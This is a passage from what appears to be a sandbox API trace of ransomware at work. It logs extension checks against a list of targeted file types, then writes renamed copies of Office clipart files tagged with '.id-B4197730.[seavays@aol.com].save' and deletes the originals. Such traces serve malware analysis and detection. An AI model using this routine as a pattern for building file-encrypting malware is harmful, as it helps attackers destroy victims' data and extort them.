(lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01631_.WMF") returned 68 [0073.026] lstrlenW (lpString=".doc") returned 4 [0073.026] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0073.026] lstrlenW (lpString=".docx") returned 5 [0073.026] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0073.027] lstrlenW (lpString=".pdf") returned 4 [0073.027] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0073.027] lstrlenW (lpString=".xls") returned 4 [0073.027] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0073.027] lstrlenW (lpString=".xlsx") returned 5 [0073.027] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0073.027] lstrlenW (lpString=".ppt") returned 4 [0073.027] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0073.027] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01631_.WMF") returned 68 [0073.027] lstrlenW (lpString=".zip") returned 4 [0073.027] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0073.027] lstrlenW (lpString=".rar") returned 4 [0073.027] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0073.027] lstrlenW (lpString=".bz2") returned 4 [0073.027] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0073.027] lstrlenW (lpString=".7z") returned 3 [0073.027] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0073.027] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01631_.WMF") returned 68 [0073.027] lstrlenW (lpString=".dbf") returned 4 [0073.027] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0073.027] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01631_.WMF") returned 68 [0073.027] lstrlenW (lpString=".1cd") returned 4 [0073.027] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0073.027] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01631_.WMF") returned 68 [0073.027] lstrlenW (lpString=".jpg") returned 4 [0073.027] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0073.028] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0073.028] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0073.028] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01761_.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01761_.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0073.029] GetLastError () returned 0x0 [0073.029] ReadFile (in: hFile=0x368, lpBuffer=0x4149020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesRead=0x378fecc*=0x1034, lpOverlapped=0x0) returned 1 [0073.030] WriteFile (in: hFile=0x398, lpBuffer=0x4149020*, nNumberOfBytesToWrite=0x1040, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesWritten=0x378fc94*=0x1040, lpOverlapped=0x0) returned 1 [0073.031] ReadFile (in: hFile=0x368, lpBuffer=0x4149020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesRead=0x378fecc*=0x0, lpOverlapped=0x0) returned 1 [0073.031] WriteFile (in: hFile=0x398, lpBuffer=0x4149020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesWritten=0x378fc94*=0xec, lpOverlapped=0x0) returned 1 [0073.031] SetEndOfFile (hFile=0x398) returned 1 [0073.032] CloseHandle (hObject=0x398) returned 1 [0073.032] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0073.032] SetEndOfFile (hFile=0x368) returned 1 [0073.033] CloseHandle (hObject=0x368) returned 1 [0073.033] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01761_.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0073.033] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01761_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01761_.wmf")) returned 1 [0073.033] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01761_.WMF") returned 68 [0073.033] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01761_.WMF") returned 68 [0073.033] lstrlenW (lpString=".doc") returned 4 [0073.033] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0073.033] lstrlenW (lpString=".docx") returned 5 [0073.033] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0073.033] lstrlenW (lpString=".pdf") returned 4 [0073.033] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0073.033] lstrlenW (lpString=".xls") returned 4 [0073.033] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0073.033] lstrlenW (lpString=".xlsx") returned 5 [0073.034] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0073.034] lstrlenW (lpString=".ppt") returned 4 [0073.034] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0073.034] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01761_.WMF") returned 68 [0073.034] lstrlenW (lpString=".zip") returned 4 [0073.034] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0073.034] lstrlenW (lpString=".rar") returned 4 [0073.034] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0073.034] lstrlenW (lpString=".bz2") returned 4 [0073.034] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0073.034] lstrlenW (lpString=".7z") returned 3 [0073.034] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0073.034] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01761_.WMF") returned 68 [0073.034] lstrlenW (lpString=".dbf") returned 4 [0073.034] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0073.034] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01761_.WMF") returned 68 [0073.034] lstrlenW (lpString=".1cd") returned 4 [0073.034] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0073.034] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01761_.WMF") returned 68 [0073.034] lstrlenW (lpString=".jpg") returned 4 [0073.034] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0073.035] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0073.035] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0073.035] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01772_.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01772_.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0073.036] GetLastError () returned 0x0 [0073.036] ReadFile (in: hFile=0x368, lpBuffer=0x4149020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesRead=0x378fecc*=0x8fc, lpOverlapped=0x0) returned 1 [0073.037] WriteFile (in: hFile=0x398, lpBuffer=0x4149020*, nNumberOfBytesToWrite=0x900, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesWritten=0x378fc94*=0x900, lpOverlapped=0x0) returned 1 [0073.038] ReadFile (in: hFile=0x368, lpBuffer=0x4149020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesRead=0x378fecc*=0x0, lpOverlapped=0x0) returned 1 [0073.038] WriteFile (in: hFile=0x398, lpBuffer=0x4149020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesWritten=0x378fc94*=0xec, lpOverlapped=0x0) returned 1 [0073.038] SetEndOfFile (hFile=0x398) returned 1 [0073.038] CloseHandle (hObject=0x398) returned 1 [0073.038] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0073.038] SetEndOfFile (hFile=0x368) returned 1 [0073.039] CloseHandle (hObject=0x368) returned 1 [0073.039] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01772_.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0073.039] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01772_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01772_.wmf")) returned 1 [0073.040] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01772_.WMF") returned 68 [0073.040] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01772_.WMF") returned 68 [0073.040] lstrlenW (lpString=".doc") returned 4 [0073.040] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0073.040] lstrlenW (lpString=".docx") returned 5 [0073.040] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0073.040] lstrlenW (lpString=".pdf") returned 4 [0073.040] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0073.040] lstrlenW (lpString=".xls") returned 4 [0073.040] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0073.040] lstrlenW (lpString=".xlsx") returned 5 [0073.040] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0073.040] lstrlenW (lpString=".ppt") returned 4 [0073.040] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0073.040] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01772_.WMF") returned 68 [0073.040] lstrlenW (lpString=".zip") returned 4 [0073.040] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0073.040] lstrlenW (lpString=".rar") returned 4 [0073.040] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0073.040] lstrlenW (lpString=".bz2") returned 4 [0073.040] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0073.040] lstrlenW (lpString=".7z") returned 3 [0073.040] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0073.040] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01772_.WMF") returned 68 [0073.040] lstrlenW (lpString=".dbf") returned 4 [0073.040] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0073.040] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01772_.WMF") returned 68 [0073.040] lstrlenW (lpString=".1cd") returned 4 [0073.041] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0073.041] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01772_.WMF") returned 68 [0073.041] lstrlenW (lpString=".jpg") returned 4 [0073.041] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0073.041] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0073.041] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0073.041] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01793_.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01793_.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0073.041] GetLastError () returned 0x0 [0073.041] ReadFile (in: hFile=0x368, lpBuffer=0x4149020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesRead=0x378fecc*=0xcb4, lpOverlapped=0x0) returned 1 [0073.043] WriteFile (in: hFile=0x398, lpBuffer=0x4149020*, nNumberOfBytesToWrite=0xcc0, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesWritten=0x378fc94*=0xcc0, lpOverlapped=0x0) returned 1 [0073.044] ReadFile (in: hFile=0x368, lpBuffer=0x4149020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesRead=0x378fecc*=0x0, lpOverlapped=0x0) returned 1 [0073.044] WriteFile (in: hFile=0x398, lpBuffer=0x4149020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesWritten=0x378fc94*=0xec, lpOverlapped=0x0) returned 1 [0073.044] SetEndOfFile (hFile=0x398) returned 1 [0073.044] CloseHandle (hObject=0x398) returned 1 [0073.044] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0073.044] SetEndOfFile (hFile=0x368) returned 1 [0073.045] CloseHandle (hObject=0x368) returned 1 [0073.045] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01793_.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0073.045] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01793_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01793_.wmf")) returned 1 [0073.046] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01793_.WMF") returned 68 [0073.046] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01793_.WMF") returned 68 [0073.046] lstrlenW (lpString=".doc") returned 4 [0073.046] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0073.046] lstrlenW (lpString=".docx") returned 5 [0073.046] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0073.046] lstrlenW (lpString=".pdf") returned 4 [0073.046] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0073.046] lstrlenW (lpString=".xls") returned 4 [0073.046] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0073.046] lstrlenW (lpString=".xlsx") returned 5 [0073.046] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0073.046] lstrlenW (lpString=".ppt") returned 4 [0073.046] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0073.046] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01793_.WMF") returned 68 [0073.046] lstrlenW (lpString=".zip") returned 4 [0073.046] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0073.046] lstrlenW (lpString=".rar") returned 4 [0073.046] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0073.046] lstrlenW (lpString=".bz2") returned 4 [0073.046] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0073.046] lstrlenW (lpString=".7z") returned 3 [0073.046] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0073.046] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01793_.WMF") returned 68 [0073.046] lstrlenW (lpString=".dbf") returned 4 [0073.047] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0073.047] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01793_.WMF") returned 68 [0073.047] lstrlenW (lpString=".1cd") returned 4 [0073.047] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0073.047] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01793_.WMF") returned 68 [0073.047] lstrlenW (lpString=".jpg") returned 4 [0073.047] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0073.048] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0073.048] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0073.048] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00010_.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ed00010_.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0073.048] GetLastError () returned 0x0 [0073.048] ReadFile (in: hFile=0x368, lpBuffer=0x4149020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesRead=0x378fecc*=0x566, lpOverlapped=0x0) returned 1 [0073.049] WriteFile (in: hFile=0x398, lpBuffer=0x4149020*, nNumberOfBytesToWrite=0x570, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesWritten=0x378fc94*=0x570, lpOverlapped=0x0) returned 1 [0073.050] ReadFile (in: hFile=0x368, lpBuffer=0x4149020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesRead=0x378fecc*=0x0, lpOverlapped=0x0) returned 1 [0073.050] WriteFile (in: hFile=0x398, lpBuffer=0x4149020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesWritten=0x378fc94*=0xec, lpOverlapped=0x0) returned 1 [0073.050] SetEndOfFile (hFile=0x398) returned 1 [0073.051] CloseHandle (hObject=0x398) returned 1 [0073.051] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0073.051] SetEndOfFile (hFile=0x368) returned 1 [0073.051] CloseHandle (hObject=0x368) returned 1 [0073.052] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00010_.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0073.052] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00010_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ed00010_.wmf")) returned 1 [0073.052] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00010_.WMF") returned 68 [0073.052] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00010_.WMF") returned 68 [0073.052] lstrlenW (lpString=".doc") returned 4 [0073.052] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0073.052] lstrlenW (lpString=".docx") returned 5 [0073.052] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0073.052] lstrlenW (lpString=".pdf") returned 4 [0073.052] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0073.052] lstrlenW (lpString=".xls") returned 4 [0073.052] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0073.052] lstrlenW (lpString=".xlsx") returned 5 [0073.052] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0073.053] lstrlenW (lpString=".ppt") returned 4 [0073.053] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0073.053] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00010_.WMF") returned 68 [0073.053] lstrlenW (lpString=".zip") returned 4 [0073.053] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0073.053] lstrlenW (lpString=".rar") returned 4 [0073.053] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0073.053] lstrlenW (lpString=".bz2") returned 4 [0073.053] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0073.053] lstrlenW (lpString=".7z") returned 3 [0073.053] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0073.053] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00010_.WMF") returned 68 [0073.053] lstrlenW (lpString=".dbf") returned 4 [0073.053] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0073.053] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00010_.WMF") returned 68 [0073.053] lstrlenW (lpString=".1cd") returned 4 [0073.053] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0073.053] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00010_.WMF") returned 68 [0073.053] lstrlenW (lpString=".jpg") returned 4 [0073.053] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0073.054] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0073.054] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0073.054] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00019_.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ed00019_.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0073.054] GetLastError () returned 0x0 [0073.054] ReadFile (in: hFile=0x368, lpBuffer=0x4149020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesRead=0x378fecc*=0x32f2, lpOverlapped=0x0) returned 1 [0073.215] WriteFile (in: hFile=0x398, lpBuffer=0x4149020*, nNumberOfBytesToWrite=0x3300, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesWritten=0x378fc94*=0x3300, lpOverlapped=0x0) returned 1 [0073.331] ReadFile (in: hFile=0x368, lpBuffer=0x4149020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesRead=0x378fecc*=0x0, lpOverlapped=0x0) returned 1 [0073.331] WriteFile (in: hFile=0x398, lpBuffer=0x4149020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesWritten=0x378fc94*=0xec, lpOverlapped=0x0) returned 1 [0073.331] SetEndOfFile (hFile=0x398) returned 1 [0073.793] CloseHandle (hObject=0x398) returned 1 [0073.794] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0073.794] SetEndOfFile (hFile=0x368) returned 1 [0073.795] CloseHandle (hObject=0x368) returned 1 [0073.795] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00019_.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0073.795] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00019_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ed00019_.wmf")) returned 1 [0074.150] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00019_.WMF") returned 68 [0074.150] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00019_.WMF") returned 68 [0074.150] lstrlenW (lpString=".doc") returned 4 [0074.150] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0074.150] lstrlenW (lpString=".docx") returned 5 [0074.150] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0074.150] lstrlenW (lpString=".pdf") returned 4 [0074.150] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0074.150] lstrlenW (lpString=".xls") returned 4 [0074.150] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0074.150] lstrlenW (lpString=".xlsx") returned 5 [0074.150] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0074.150] lstrlenW (lpString=".ppt") returned 4 [0074.150] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0074.150] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00019_.WMF") returned 68 [0074.150] lstrlenW (lpString=".zip") returned 4 [0074.150] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0074.150] lstrlenW (lpString=".rar") returned 4 [0074.150] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0074.150] lstrlenW (lpString=".bz2") returned 4 [0074.150] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0074.150] lstrlenW (lpString=".7z") returned 3 [0074.150] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0074.150] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00019_.WMF") returned 68 [0074.150] lstrlenW (lpString=".dbf") returned 4 [0074.150] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0074.150] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00019_.WMF") returned 68 [0074.150] lstrlenW (lpString=".1cd") returned 4 [0074.150] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0074.150] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00019_.WMF") returned 68 [0074.150] lstrlenW (lpString=".jpg") returned 4 [0074.151] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0074.476] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0074.476] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, 